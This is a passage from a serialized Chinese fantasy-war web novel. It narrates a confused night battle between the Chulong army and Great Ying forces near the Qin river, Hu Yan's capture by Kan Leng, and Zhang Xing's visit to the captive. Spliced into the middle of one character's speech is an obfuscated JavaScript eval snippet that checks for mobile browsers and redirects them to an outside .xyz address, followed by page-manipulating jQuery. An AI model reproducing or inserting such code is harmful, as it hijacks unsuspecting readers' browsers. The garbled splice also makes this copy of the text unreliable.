开了个玩笑,说了几句闲话,韩二郎又把刘黑榥不可能与自己生分的原委凑了几句……毕竟嘛,他韩二郎是官军,可到底是清河人,更后面的各营干脆是河南、北地来的,用他遮护侧翼,还是信任多一些。 眼见着气氛好了,韩二郎也准备起身安排扎营事宜了,这个时候,数骑在夕阳下自北面奔驰而来,在一名准备将的带领下直趋此地,却也只好转向迎上。 周围的第八队新兵自然驻足,而很多军官、文书、参军却是自然汇集起来。 果然,准备将尚未下马,便先来告知:“头领,北面二十里左右有敌大军,近四五千众!” “北面,修武?”韩二郎愣了一下。 “不是修武,他们在我们正北面的东西官道上,此时正在扎营。”准备将下马后继续汇报。 “修武在东北面……这是准备去修武?”韩二郎稍作思索,似乎得出结论。 “应该是,但也说不定是冲我们来的。” “冲我们来?” “不是……是说从沁水上游渡河,然后从这里去包住新温的东侧,让新温的人无处可逃。” “这就对了。”韩二郎点点头。“那你觉得他们是从哪里来?” “哨骑先看到人就来了,还没探查清楚痕迹……但不是从西面来,就是从北面来。” “确实,而且这个也无所谓。”韩二郎想了一想,继续来问。“确定北面只有这一支兵马吧?” “只能确定这支兵马南侧并没有援军,连东面修武的情况都不好说。” “我们能发现他们,他们也能发现我们对不对?”韩二郎依旧询问,但身形早就转向了一侧,哨骑们反而落在身后。 原来,此时周围已经**了韩二郎的不少亲信,有文书、有参军、有队将、有准备将,至于之前和眼下的讨论,他们都晓得这并不是韩二郎真的不懂军事,实际上自家这位主将向来战场嗅觉灵敏,他只是借这种形式审讨军情,同时也在自我思考,属于韩二郎的个人习惯。 “必然如此。”下面的参军也开口了。“即便是他们没发现我们,我们也得照着他们发现我们来……” “对的。”韩二郎点头,继续来问。“按照计划,冯端冯分管的营会去修武?” “冯头领打头阵,王伏贝王大头领跟其余两营也会跟上。” “现在到了吗?” “不好说,咱们跟他们不是一路,而且咱们太快了。” “也是。”韩二郎再三点头,然后环视四周。“我觉得眼下万全之策是放弃扎营,主动进攻……你们觉得如何?” 饶是周围亲信早就将进攻纳入思考的选项,可听到主将这般干脆表态,众人还是有些慌张。 战术上没有问题,虽然人数有差距,可此时出击便是夜袭,对方也是一整日行军没得休息,而且身后十几里地就有足够多的支援,侧翼可能也会有支援。 但是…… “我想了一想,以咱们承担的军令和当前的军情来看,无外乎是两条,要么在这里下寨守住,要么主动去打。”韩二郎认真朝营内骨干们解释道。“可我们来这里是干什么的?既然是做先锋来打仗的,为什么要停下来等人家来打?大军作战,个个畏缩,哪里指望能争天下?!” 众人各自凛然。 但王老五还是提醒:“打不是不行,怕只怕刘大头领那边会觉得我们抢功……咱们这一去说不得是头一战!” “为国为帮,怎么能计较这些?”韩二郎毫不迟疑扶剑应下。“咱们学着首席的规矩,谁还有什么话?” 这下子,众人再无计较,各自赞同,然后军令顺势下达,亲信们立即散开去做准备,信使也往身后周边各营去做联络和告知,哨骑也匆匆启动,不顾劳累,再去探查军情。 韩二郎也准备回到自己直属队中。 不过,也就是这时,他又注意到了营中第八队的那些新兵,这些人之前明显是被哨骑吸引,并没有散去,此时直接接到命令,又明显带着激动和紧张……想了一想,这位营将再度走了过去。 “你们晓得晚上上了阵,做新兵的有什么诀窍吗?”韩二郎扶着腰间佩刀笑问道。 一窝新兵面面相觑,但到底是刚刚聊开了,倒也不怕,其中一**着胆子来问:“什么诀窍?” “其实就一个字。”韩二郎一手扶刀,一手举起一根手指,脸上笑吟吟的表情不变。“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168037|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们知道是什么吗?” 众人七嘴八舌,有人不解,有人便要猜。 下一刻,韩二郎面色陡变,白刃半露,同时真气涌出,当场一喝,宛若雷霆:“杀!” 一众新兵多被惊得跌倒,只能目送判若两人的营将扶剑离去。 倒是旁边没走远的王老五,一时有些发懵……他倒不是不懂为何韩二郎要吓这些年轻人,这是义战嘛,临阵吓一吓,激励士气是对的,只是这厮此番作为,不免让他想起当年一起做贼做官军的时候,那时候韩二郎的那个字可不是“杀”……而是“逃”。 若非是这个“逃”字,如何从贼做到官,又从官做到黜龙军? 但好像也不对,好像从做官的时候就不是“逃”那么简单了,做了黜龙军也不是一开始就是“杀”,但要让王老五短时间能想清楚脉络,也着实难为他。 就这样,其人稍作思索,没有头绪后,便早早回去执行军令了——他那个队可是韩二郎这个营中公认的“首队”,他则是“首队将”,待会打起来是要冲在最前面的。 天色黯淡了下来,营中用完了干粮,准备好火把,扔下多余辎重……他们也没有多少辎重,因为到今日中午之前都算是内线行军……然后便在已经显现的星光之下往北而行。 行军途中,只前导巡骑与队中什长点火,队将以下皆衔枚,所幸平原之上,道路宽广,韩二郎很快增加命令,让前导部队将队伍铺开,进一步减少了迷路的可能性。 与此同时,温城西侧十余里处,发挥了骑兵机动优势的刘黑榥如愿以偿的见到了野地中的敌人,然后陷入到了沉默之中。 无他,出现在他眼前的,是一眼望不到边的营区,营区中有序而整齐的固定着特定数量的火盆,这些火盆连成一片,宛若星光一样密集……这还不算,最远端的营盘深处的空中,彷佛什么建筑一般,出现了横竖排列的线条,中间排列着黑白金各色棋子不下十余颗。 黜龙军的骨干们对这玩意可不要太熟悉了,而那时候,棋子只有三颗。 “那是哪儿……”小丘上,刘黑榥强行收起多余情绪,指着彼处来问。 “旧温城……?”夏侯宁远艰难的吐出一个词来。 “三个温城?”曹晨一时没反应过来。 “对,自西向东,旧温城、温城、新温城。”刘黑榥勒马言道。“咱们过了两个,前面正该是旧温城。” “我怎么没在地图上看到过?”曹晨还是有些不安。“是我糊涂到听不懂军情分析了?” “不怪你。”夏侯宁远解释道。“之前旧温城是拆了的……只是说那个方位,大英皇帝把中军大营扎到那里了。” 曹晨点点头,但旋即意识到问题:“他把中军主力铺陈到了河阳的东面?” “对。”刘黑榥眯着眼睛道。“他在等我们黜龙军去撼他!” 曹晨陷入到了与其余二人一般的沉寂之中,然后又第一个打破了沉默:“那还打不打?” “打个屁!”刘黑榥无语至极。“谁也不知道这狗皇帝能不能立即起阵,要是冲过去被人探知清楚,直接包了饺子算谁的?” “那我们今天……没打新温,没打温城……是不是该歇歇了?”曹晨有气无力。 “往北走吧。”刘黑榥也有些无力。“我实在是没想到他会把主力摆在这里……得往北走,说不得还要找浅滩渡过沁水才能安歇。” 曹晨有些不解。 “小济水。”夏侯宁远指着远端言道。“这条河不算大,但冬日之前总是个麻烦……它跟沁水最窄处只有一座石山。” “两条河,不对,三条河。”曹晨扭头看向了南面的大河金堤,醒悟了过来。“一块五十里长宽的三角地,狗皇帝好狡猾……我们要攻他,就得越过沁水来……到时候这兵马也太密集了。” 刘黑榥脸色更差了,因为他发现自己万分期待的独立战场根本就不存在,他的骑兵营很可能会沦为这场战争中的战术承担,而无承担战略任务。 没办法,地形太狭窄了。 到时候,这片三角地里,将会是兵对兵,将对将,铁对铁,血对血。 没有任何周旋的余地。 亲身验证了这一点后,饶是刘黑榥豪气万千,此时似乎也只能咬紧牙关,然后摸黑带着兵马离开,准备寻到安全位置过夜了。 然而,若是这般,如何还是刘黑榥? “既然来了,总要打个招呼,告诉关西人,咱们黜龙军到了,否则岂不是个笑话?”刘黑榥如此吩咐道。“咱们三个营,留下三队骑兵给我,你们带主力走,等你们走了,我便冲进去放火!” 夏侯宁远便要劝。 刘黑榥直接摆手:“我晓得,我只是在这里做监军,总得亲眼看看关西**如何。” 其余二人便不好说什么,也就依言而行。 就在刘黑榥放弃大规模战斗改为武装侦查的那一刻,战斗爆发了。 沁水北岸十余里的平野之中,韩二郎的营迎面撞上了同样来夜袭的英军!双方都没有怯场! 一开始,只是零星的哨骑交汇,然后是几十人几十人的试探和战斗,而很快,韩二郎就意识到发生了什么,在他的命令下,所有人吐出了嘴里的铜钱,就在收割完庄稼的田野中放声喊杀! “王老五!”韩二郎上阵之前,忽然转身拽住了一侧最信任队将的胳膊。“这是夜里的乱战,没有结果的,你不要去冲杀!绕过去,懂吗?!从边上绕过去,用你最擅长的赶路绕过去,从东面绕到他们营地,不管里面还有没有人,有多少人,放火,放一把火,从东面放,这边就能定胜负了!” 王老五浑浑噩噩,他不晓得为何绕过去放一把火就能定胜负,但不耽误他听懂命令,然后转身就走。 而王老五一走,韩二郎便拔出剑来,在这河北旷野之中放声一喊:“杀!!” 然后纵身跃向前线。 另一边,新温城,风中似乎传来了喊杀声,但胡彦知道那是错觉,之所以如此,是因为他亲眼看到原本准备围困自己的贾闰士营放弃了围城,直接往北去了。 很显然,有人呼叫了他们的支援。 时间距离三更天还远,城内已经开始收拾东西,胡彦现在明显犹疑,既然外面的黜龙军已经跟关西兵马交战,要不要就此趁机逃走? 只不过,胡彦不是个出奇之人,尤其是城内已经开始在按计划执行了,就更是如此。 然而,城内还没收拾利索呢,城外黜龙帮仓促堆造的营地里,又来了一营兵。 借着城头火光,胡彦略显茫然的发现了一件事情,那就是这新到的一营黜龙军,居然打着“阚”这个奇怪而又熟悉的旗号。而在注意到这一营兵马近乎统一的**兵制式并听到下方略显熟悉的口音后,他迅速陷入到了某种近乎恐慌的回忆中。 阚棱望了望城头,扭头来问贾闰士留下的人:“城内守将叫胡彦?” “对。” “靖安台出身,做过淮阴都尉?” “这个就不清楚了。” “问一问……”阚棱指了指城头。 那人不敢怠慢,即刻去了城下,片刻后给出答复:“城上那位忽然不做理会了。” 阚棱冷笑一声,然后环视四面,下达军令:“既然不答,那就不要理会了,看住四门,同时准备绳索,先派小股部队尝试攀城。” 周围淮西子弟一并轰然做答,即刻散开。 半个时辰后,城上部队发现了突袭,双方**交加,原本还算克制的气氛荡然无存。 胡彦捂着半张脸走下城头,心情复杂。 他知道,对方既然偷袭失败,又没有攻城器械,那一时半会不大可能就攻上来;他还知道,不管如何,既然开战了,黜龙军大队迟早淹来,所以这座城必然陷落;最后,他更加清楚,正是自己之前的无能让城下这支熟悉淮西兵认为这座城可以轻易偷下,所以才冒险尝试的,也正是因为自己的优柔寡断,才让自己错过了之前还能有效沟通的河北、东境头领,反而等来了曾经击败过自己的淮右盟义子军。 “准备突围。”一念至此,他收起多余表情,扭头看向了身后的柴愈,也就是他老上司柴常检的儿子。“扔下细软财货,我先开道,再断后,咱们去延津试一试。” 柴愈只能点头。 另一边,旧温城远端,刘黑榥立在马上,冷冷看着自己那三队骑兵的袭扰被限制在了营盘外围,在意识到对方不会因为这种级别的袭扰就骚动后,这位黜龙帮大头领的注意力不免被更西面的中军所吸引。 他总觉得,白横秋的棋盘亮的过了头。 而且为什么呀? 为什么就这么一直亮着?他不累吗?**给谁看? 又过了半个时辰,绕行的王老五抵达了英军营寨,毫不迟疑的放了火。而稍作准备的东都军打开了新温城的城门,胡彦一马当先,喊杀了出去,身后火把如龙。 对此,北面的韩二郎,新温城下的阚棱,意外的反应一致,他们都是仰头大笑。 相隔百余里的邺城,丝毫不晓得前方已经多处开战的张行张首席并没有笑,他只是在听风阁上从容签署了张世昭、卢思道等人一系列的任命,然后才出门上了黄骠马,并在秦宝的护送下缓步离开邺城行宫,准备加入到了邺城城南连夜开拔的军队之中。 同行的还有徐世英在内的几乎大半个军务部,他们将往前线处置一切。 大约就是这个时候,已经撤退的袭扰骑兵身侧,刘黑榥忽然醒悟,抓住了身边的参军:“立即发信使回去,告诉首席,不光是白横秋,司马正也在这里!” PS:对不住,我之前一周一直在得病,流感没好开始拉肚子,脱水发烧,好不容易止住腹泻,发现感冒还没好利索,人一直昏昏沉沉的。 第八十三章 风霜行(2) 夜色中,秋风滚滚,将血腥气卷的到处都是。 ????韩二郎成年后奇遇,重新筑基,随后修为突飞猛进,等到黜龙帮黜落吞风君后不久便凝丹成功,可他到底是习惯了之前的庄稼把式,即便是凝丹都不能改……黑暗中,他拎着手中长剑躲在一个齐腰深的庄稼地沟里,贴着土层纹丝不动,宛若一具尸首,待到一名呼喝不停的英军军官纵马跑到身侧五六步外时,其人猛地扑出,长剑荡起辉光,竟然出其不意,直接将对方刺下马来! ????长剑从腋窝下刺入,英军军官当场身死,而借着刚刚挥剑时的光亮,周围黜龙军士卒则几乎是整齐的发一声“杀”,然后立即加入到了针对那名英军军官下属士卒的围猎中。 ????很显然,这种事情已经不是今晚第一次发生了。 ????实际上,战到后半夜,韩二郎已经亲手格杀了三四十人,而且颇多军官,这类小规模小范围的围杀也成功了三五次,放在两三千人的战场上,足以改变战局。 ????可即便如此,黜龙军依然没有树立优势,之前笑出声的韩二郎此时也笑不出来了。 ????没错,王老五绕后成功了,他从东侧点燃了英军仓促立下的半成品营寨,这毫无疑问使得前方野地中混战的英军陷入到迟疑与混乱,而且也的确撤退了,韩二郎也成功迫上。 ????然而,就在这位黜龙帮新锐领军头领准备一鼓作气,夺取这个半成品营寨,确立今夜的胜利时,双方的援军都到了! ????黜龙军来了两个营,一个是身后跟来的贾闰士营,一个是东面修武来的王伏贝营;单对应的,英军也来了三千多增援,而且早一步抵达,成功接应住了原本动摇的四五千众,从而依旧保持着兵力优势……现在的情况是,双方六千对九千,黜龙军兵力稍为劣势,但之前却取得了一定胜势,使得一部分英军的组织混乱起来……最后,自然就是现在失控的拉锯战。 ????非只如此,战场的范围也在失控,从原本沁水北面的野地里一路打到英军那个半成品营寨,又从营寨散开,到最后双方根本不知道兵在何处、将在何处,只是在沁水北岸各处乱战。 ????这种情况下,阚棱接到了求援讯息,并且迅速确定,自己是距离战场最近的几个营之一……但他并不准备立即增援,因为他这里也已经开战了。 ????非只如此,新温城的城南,阚棱立在马上,侧着头看了一会,对战况明显不满意,跟韩二郎一样,他现在也笑不出来了。 ????原因再简单不过,自己的两千人是义子军的精华,而义子军是淮右盟的精锐,换言之,这个营是淮右盟最掐尖的精华所在。结果呢?这么一支兵马对上仓皇弃城而走的一支败军,为首者还是当年在淮西遇到的手下败将,却居然不能速胜! ????这还能高兴的起来? ????看了片刻,阚棱终于将目光集中在了战场一处地方,然后跃马擎枪而去,相隔百余步,便见到彼处真气光芒闪过,乃是继续前进不停,遥遥大喝:“阁下莫非是淮西手下败将胡都尉吗?如何还敢在淮西男儿面前露刃?!” ????胡彦闻得此声,饶是早有心理准备,也不由一颤,继而握紧了手中弯刀,扭头相对:“阚棱!我家司马公与你们张首席一并定下盟约,之前过去几个营都专门让开与我们安坐城内,如何到了你这里竟要刀兵相向?难道是杜破阵降了白横秋,故意使你做阵前挑拨?” ????这话倒是有些刁钻。 ????然而,阚棱丝毫不为所动,反而冷笑:“胡彦,天下皆知我是义父最忠心的义子,难道把我安排到此战前列的张首席和大行台诸位龙头不知道吗?他们都不怕我坏了东都与邺城的大局,你怎么怕起来了?” ????说话间,其人已经迫近,却是卷动真气,飞起一枪,直接掷向之前胡彦说话所在……胡彦大惊,赶紧抬起弯刀格挡,但到底是仓促应对,外加比不得对方气力旺盛、真气充沛,虽然勉强格挡,可右臂也酸麻失控,一时真气运转艰难起来,连刀都只能换手。 ????另一边,阚棱眼见突袭得手,复又从容从身侧亲卫手中接来一杆挂着锁链的长刀,只在数十名修行者义兄弟的护卫下缓步推进。 ????胡彦已经受伤不说,他身侧的亲卫根本没法与阚棱的亲卫对抗,几乎一个照面就被击垮,在黑夜中散去了,胡彦本人也只能拖着伤臂低头逃窜。 ????阚棱打马跟在后面,只将长刀横在身前,不急不缓。 ????眼瞅着追上,胡彦忽然趁着一个土埂返身蹬腿,滚着真气而起,却是翻身朝着身后凌空劈来,身后之人早有防备,长刀一甩,轻易格挡,但胡彦一击同时,早已经激发真气,便要趁势腾跃起来,就此逃窜。 ????只是可惜,阚棱所用长刀尾巴上居然还有一条长长锁链,锁链后方还系着一柄铁锥,此时也借势一甩,将包着真气的铁锥荡起,竟然在半空中将对方缠住,然后只是一拽,便将对方拽翻在地。 ????周围亲卫早有准备,之前故意落后,此时又赶紧冲出来,不知道多少条铁链锁钩跟上,登时便拿下了敌将。 ????胡彦一开始就晓得自己无论修为、气力、武艺都差对方,此时被擒竟也没有多少愤恨之态,腰上顶着铁锥也不管,只梗着脖子去看新温城,彷佛那里有什么了不得的事物一般。 ????阚棱也望了一眼,然后嗤笑一声:“胡都尉,你是不是看错方向了,这时候不该往南边看吗?还是你觉得这城里的一些财货能拴住我,就不去追你的人了?” ????胡彦这才面色僵硬起来。 ????阚棱再三来笑:“胡彦,你还真猜对了,我还真懒得追那些人,此番进军,重要的只有新温城,你们算什么?只是你这个故人在阵前如此奋战,我若不来打声招呼不免惭愧……好了,你且回城中安顿,我还要去支援他处呢!” ????胡彦大惊大喜,此时释然下来,才感觉到腰间疼痛难忍,不由呻吟起来。 ????而阚棱说到做到,只迅速控制新温城,将胡彦捆缚看押妥当,便下达军令,乃是留下数百人收拢城内战利品、控制城防,派遣使者往延津各地渡口,要他们严防死守,剩余部队,不顾夜色深沉,匆匆便往北面参战了。 ????他不可能放着北面不管的。 ????然而,北面的战斗越打越大,越打越乱……当阚棱带着半个营的兵马匆匆抵达时,刘黑榥也参战了,而且他还带来了数千大英的追兵。 ????真的是带来了数千大英追兵,刘黑榥之前带着区区三队骑兵袭扰不成后逃离,大英反而派出追兵缀后,他当然不愿意让追兵发现骑兵大部队,便干脆避开方向,却竟然在北面的沁水上发现了成规模的兵站与浮桥,便干脆直接冲杀过去,然后只来得及烧了两个浮桥,就根本无法阻拦追兵过河继续追他了。 ????而也就是过河后不久,他一头扎入到了战场之中,使得混战进一步扩大。 ????没人能详细说明这场遭遇战的规模到底到了什么地步,打到最后,整个沁水北岸,全都乱做一团,到处都是小规模战斗,甚至出现了友军的误伤。 ????先是夜里,有如韩二郎部这种一开始开启战斗却大多数撤下来的情况,也有如阚棱这种去了大半个营的情况,大家都糊里糊涂的,而到了第二日天亮,双方进一步增兵,且都有方面之任的大将督战——黜龙军这里是王叔勇亲自上前押阵,收拢部队;大英那边则是宿将韩引弓前来调度。 ????到此为止,战事更加混乱与激烈,成建制的对抗广泛出现,而且刘黑榥成功越过沁水,汇集了自己指挥的三个骑兵先锋营,在沁水上游的石山附近开启了第二战场。 ????这么说或许有些不准确,因为很快,两个战场就连成一片了。 ????尤其是王叔勇在郭敬恪的提醒下,迅速发起了对沁水对岸温城的**,这使得沁水两岸上下完全陷入混战。 ????更离奇的是,到了第二日晚间,双方主将都有些麻爪,生怕哪支部队被人包了,便各自下令收兵,结果试图控制局势的举动竟也失败了……因为此时双方的兵马早已经是你中有我,我中有你,双方部队执行军令撤退的过程反而催化了新一轮混乱遭遇战。 ????战斗爆发的第三日,也就是九月廿五日,双方不约而同的派遣了生力军对前线进行轮换与增援,这导致了第三场大规模混战。 ????说真的,起初没人在意这场遭遇战,甚至会跃跃欲试,但现在,考虑到短短数日内的伤亡以及各种奇怪的减员,双方都开始发慌了。 ????没有主将,没有战略,没有配合,难道就要这里相互消耗到难以承受的地步? ????“怎么讲?”这日下午,临清关,小雨初下,刚刚抵达此处的张行一踏入城内混乱的公房,便察觉到了气氛不对。 ????“王五郎有些虚了。”早半日抵达此处的徐世英从案后抬起头,言简意赅。“他觉得太乱了,怕稀里糊涂把兵马葬送了。” ????“有这个危险吗?”张行严肃来问。 ????“我觉得没有。”徐世英坦然道,却又看向了此行的副手马围。“因为现在来看,不光是我们乱,大英那边也乱……” ????因为连日赶路明显有些疲惫的马围见状接过话来细细介绍:“从时间上说,他们是二十日傍晚才抵达的,我们第二日中午发兵,到了廿二日晚间交战,只差了两日,考虑到他们在最重要的河阳城-旧温城一带修筑了一个颇大的营盘,同时连修武、新温、温城都没拿下来,可见并没有什么多余布置,就是花在立营和包围河阳上面了,所以,他们也没想到我们来这么快。现在的战线也能说明问题,靠近我们这边的温城得而复失,被他们抢走,可我们竟然也抢了算是在温城后面的安昌城。” ????“这也只能说是现在为止没有大的危险。”张行松了半口气,就在案前寻了个长凳坐下。“可再乱也总能缓下来的,对面兵力目前应该算占优吧?若是不顾一切集中兵力来攻沁水北岸,我们会不会吃大亏?” ????“应该也不会。”马围苦笑起来。“首席,你晓得就在这沁水上下几十里的地界,咱们投入了多少个营吗?” ????张行没有吭声。 ????“我在这里算了半日,一直没算清楚,但已经确定参战的,最少有二十个营。”马围明显是想试着把各营主将序列报出来,但他自己都卡了一下,就直接放弃了。“这还不算早就散开交战的两个巡骑营,上战场控制局势的两营军法营,河内半郡和汲郡本地驻扎的四个负责转运后勤的后备营。” ????“快五万人了。”张行听到一半就醒悟了。“咱们人来的太快了,太多了……而按照刘黑榥传的讯息,司马正就在河阳城,我那岳父不大可能扔下河阳大营过沁水来打我们,是这个意思不?” ????“是。”马围继续苦笑道。“但不止如此,首席想一想,我们扔出来快七万人,他们跟我们混战了两三日,又放了多少人?我这里刚刚统计的情报,韩引弓、白立本、窦琦、孙顺德、崔弘昇等一卫大将都已经参战,下面看到次一级的旗号里光姓薛的就有五个……战场确实塞不下了!” ????张行怔了一下,复又询问:“你们有什么想法?” ????马围没有接话,而是看向了徐世英。 ????后者脱口而对:“地形太狭窄了,不收拾乱局是没法真正展开大规模作战的,所以要先收拢部队,维持战线,看能不能把温城抢下来,然后以沁水对岸的温城、安昌为支撑建立阵地,近距离监视河阳,等待战机。” ????马围也点点头:“原计划里其实有这么一遭,但绝对没有想到会有这么一战。” ????“也是我们糊涂了。”徐世英幽幽以对。“这种大战,竟然低估了两边的战意。” ????“不错。”张行也肃然起来。“这是决定天下归属的战斗,便是咱们在北面和南面都有安排,也不耽误当面才是主战场,所谓胜则胜、败则败。” ????周边几人,包括一直没吭声的秦宝、王雄诞、许敬祖几人都认真点头。 ????接下来,就在几人准备参与讨论时,徐世英却也忽然起身:“不能待在这里,我先走,去沁水看看,王大头领跟我一起去,秦大头领留在这里护卫首席与马分管整理下军情,明日等到后续尉迟头领他们汇集,再移动到新温城即可。” ????张行也随之起身:“不必了,咱们一起去,秦宝领着踏白骑护着咱们去,大队也立即收拾起来,王雄诞护着随后跟上,今晚就到新温城立足……现在固然没有大的危险,可早些贴到前线早放心。” ????徐大郎自然无话,这种规模战斗,张行作为全军统帅到前线根本就是一种必需的举措,尤其是按照刘黑榥的情报,此时白横秋、司马正根本都在河阳,那张行就更要去了。 ????周围人闻言,自然一起行动起来,后续部队刚刚入城是一回事,可跟着徐世英来的军务部、王翼部上下原本在临清关也只待了一个时辰左右而已,但没办法,他们比谁都清楚前线的混乱与紧迫,只能在马围的指挥下将刚刚布置好的东西复又收拾起来,准备往前线赶。 ????倒是同样早到的机要文书许敬祖,此时忽然想起一事,赶紧在临清关的关城内拦住了张行。 ????“柴愈……东都靖安台故人?”张行略显诧异。“我确系认识几个姓柴的,没有柴愈这个人吧?” ????“首席还是见一见。”马围也跑出来提醒。“不是说什么风度……而是咱们跟东都那里关系复杂,如果咱们没有强攻河阳的打算,只是想击退关西大军的话,那最好给东都那边留些余地……可偏偏咱们赶得快,前日、昨日便已经对温城和新温城的东都军动手了,这柴愈就是从新温城跑出来的,在延津被大鲁头领给控制的。” ????张行听对方说的有道理,便立即点头,却并没有下马。 ????而说话间,早有甲士去提人了,须臾片刻,果然从关城一侧的库房里牵出一人来。 ????张行遥遥看得此人便笑:“阁下刚刚双十出头吧?我在东都时,已经是七八年前,你那时多大,与我相识?如何在靖安台奉公?” ????实际上,便是秦宝也望着此人蹙眉。 ????那人,也就是新温城的关使柴愈了,一面被牵着往前走,一面赶紧来言:“我年纪小,叔父大人不记得小子委实寻常,但我父亲久在靖安台为常检,当日叔父大人与秦叔一起入得靖安台,我便在家中屡屡闻得你们风采……” ????张行与秦宝从常检二字开始,本能对视,却是瞬间意识到对方是谁了。 ????张行也旋即下马笑道:“如此说来,果然是故人之子……我跟柴常检是真真正正的至亲兄弟一般,当年月娘父亲杀了刑部尚书,就是靠你父亲转圜,停了月娘的通缉……这件事情,我们全家都铭记在心。” ????柴愈心中大定,却不耽误他来到跟前后不顾双手被缚,直接以头抢地。 ????而秦宝得了张行眼色,复又上前解开绳索,将对方拽起……而刚一松手,这柴愈复又跪地叩首。 ????张行无奈,直接了当来言:“贤侄,既是故人,我身为黜龙帮首席,是有特赦之权的,特赦了你便是,歇息一晚,明日从延津回家吧……你随行那些人,我也尽量周全,一起回去。” ????柴愈大喜过望,但还是叩首:“诚如胡叔所言,叔父大人果然体面,可昨夜不晓得局势,突围之后胡叔断后,如今早早没了踪迹……还请叔父大人成全。” ????张行明显一愣:“胡叔莫非是胡彦?” ????“自然如此。” ????张行竟一时语塞……没办法,他本想说,胡彦也是他至亲兄弟,然而,连当日只是个**对象的柴常检都成了至亲兄弟,这胡彦乃是真正的老上级、老兄弟,却反而不好是至亲兄弟了;而且,他随即也愕然于胡彦被俘的讯息;最后反应过来,竟复又愕然于自己的愕然。 ????这不是脑子拧巴了,而是真的对自己感到不解。 ????放到以往,什么至亲兄弟,甭管真假,他是脱口就来,可现如今,自己居然要脸了?计较这些口舌上的分寸? ????果然是首席当麻了。 ????实际上,徐世英都多看了张行两眼,他自然也晓得胡彦是谁。 ????过了许久,其人才缓过劲来,认真道:“你先回去,老胡那里且放心……临阵固然刀枪无眼,若他活着,自然治好伤与他自由,若他**,我也要在战后操办丧事的。” ????柴愈还能说什么,只是连连叩首。 ????小小插曲,却让张行放在心上了,当晚抵达新温城,自然忙碌开来,徐世英等人连夜去做侦查,马围、许敬祖这些人铺设参军-文书体系,张行也与轮换下来的头领们交谈,询问局势。 ????一番交谈下来,自然晓得,前方果然是一团烂仗,伤亡是不小的,只要是早早参战的,各营都有百人以上减员,只不过按照这些人叙述,关西人的伤亡不会比他们少,甚至更多一些,但都没有成建制的崩坏和伤亡,这是因为关西人兵力厚,而黜龙军也擅长多个营之间配合……对此,张行也是信的,反正徐世英应该也会有亲身观察;此外,他明显察觉到几乎所有人都是战意不减,有人觉得应该反复整理兵马在沁水两岸打下去,也有人觉得张首席来了,就应该收拢部队,往河阳决战,就没有人说要谨守不动的。 ????张行一一宽慰,复又往城内外营地里去查看伤员,慰问从淮北来的医生,包括与值夜的士卒交谈。 ????确定士气饱满,减员没有过度影响军心后,便回到城内,又与马围讨论补员事宜,乃是调度了颇多后备营往汲郡集结,最后又给邺城写了一封信……这才与秦宝一起探望了路上就知道还活着的胡彦去了。 ????三人相见,倒没有什么多余感慨,甚至气氛有些尴尬。 ????张行和秦宝只能先询问对方伤势,而胡彦则有些不知轻重的埋怨对方,难道不晓得自己在这里,如何让阚棱这种跟他有旧怨的外来户做先锋,平白挑起战事,闹得死伤? ????于是气氛愈发尴尬。 ????能为什么? ????当然是因为确实不知道胡彦在这里,说句不好听的,他张首席现在肩上扛的是快百郡的半壁江山,心里装的是千万军民,怎么可能会在意一个不相干的关城守将是谁,又跟自己这边哪个将领有什么恩怨? ????就这几天参战的,就有二十五个营,外面还有几十个营在打或准备打,哪个头领没有自己的故事?真要是计较这些,他脑子早就炸了。 ????甚至更进一步,知道了又如何?难道会安排人家阚棱后发? ????开什么玩笑,人家阚棱是披坚执锐的为黜龙帮为大明奋战的,你胡彦私交再厚也是其他阵营的人! ????秦宝先开口掰扯了几句,然后就坐在榻沿上的张行无奈开口:“胡大哥,现在咱们是两家,这话没法说,你若愿意降,我作为兄弟,自与你们做调解,如何?” ????躺在榻上的胡彦因为失血面色发白,却依旧保持着某种冷静,他沉默片刻,没有直接回应,而是去看立在榻前的秦宝:“秦二郎,当日张三郎在东境**,你跟他生死一般的交情,为何拖了两三年才去?” ????秦宝尴尬一时,但还是正色回复:“因为我那个时候眼界不够,总觉得自家能出人头地,让老母宽慰,有宅子有钱粮,让妻子无虞,有马有枪,让自己驰骋,便足够安心……却忘了,这私人的苟安根本禁不住天下的动摇,一隅之地的平泰更是遮不住天下的流离苦楚,这才下定决心,无论如何帮着三哥安定天下。” ????“剪除暴魏,安定天下,这些年也听出茧子来了。”很明显是因为伤势缘故,胡彦深吸一口气的同时便面色狰狞起来。“可见便是你,也只是想着安定天下,却因为大魏对你有恩,给了你安乐窝,所以没有想着剪除暴魏的意思……” ????秦宝便要解释,却**彦勉力抬手阻止:“我晓得,你们有大道理,真说出来,我辩解不过,只是想借你的经历告诉张三郎,我的事情,可以比照着你当年的心思……张三郎,我比秦宝年长许多,家中妻儿老小也比他多许多,这种安乐苟且的心思,自然是他的多倍;更要命的是,司马二郎来到东都后,虽然人人都说他不能长久,觉得他没有前途,可这几年,却是东都之前十数年间最安乐的几年了……而这一加起来,便是我不愿挪动的心思,胜他当年十倍。” ????秦宝当即沉默。 ????倒是张行装起了糊涂:“既然司马正如此正派,何妨请他将你家眷送来?” ????胡彦看着张行怔了一下,不由失笑:“张三郎,你是真不懂假不懂……我壮年入东都,子女都在东都长大,东都如今又这般安乐……如今该着我走运,与你相识日久,你又不杀我,我为何要降?” ????张行也笑了:“东都这般安乐吗?” ????“正如秦二郎所言,一隅之地,一家之私,还是让人安心的。”胡彦认真来道。 ????张行无话可说,只能点头起身:“胡大哥且安歇,明日去临清关,看你自己伤势,伤势一好就回东都安乐吧!” ????胡彦勉力在榻上拱手。 ????出了屋子,一时也睡不着,便往灯火通明的本地署衙而去,与值守在这里的许敬祖做了交代……许敬祖应下之余,却又主动提醒:“首席,东都一隅之地,司马正稍作仁政,下面就死心塌地,那关西怕也如此。” 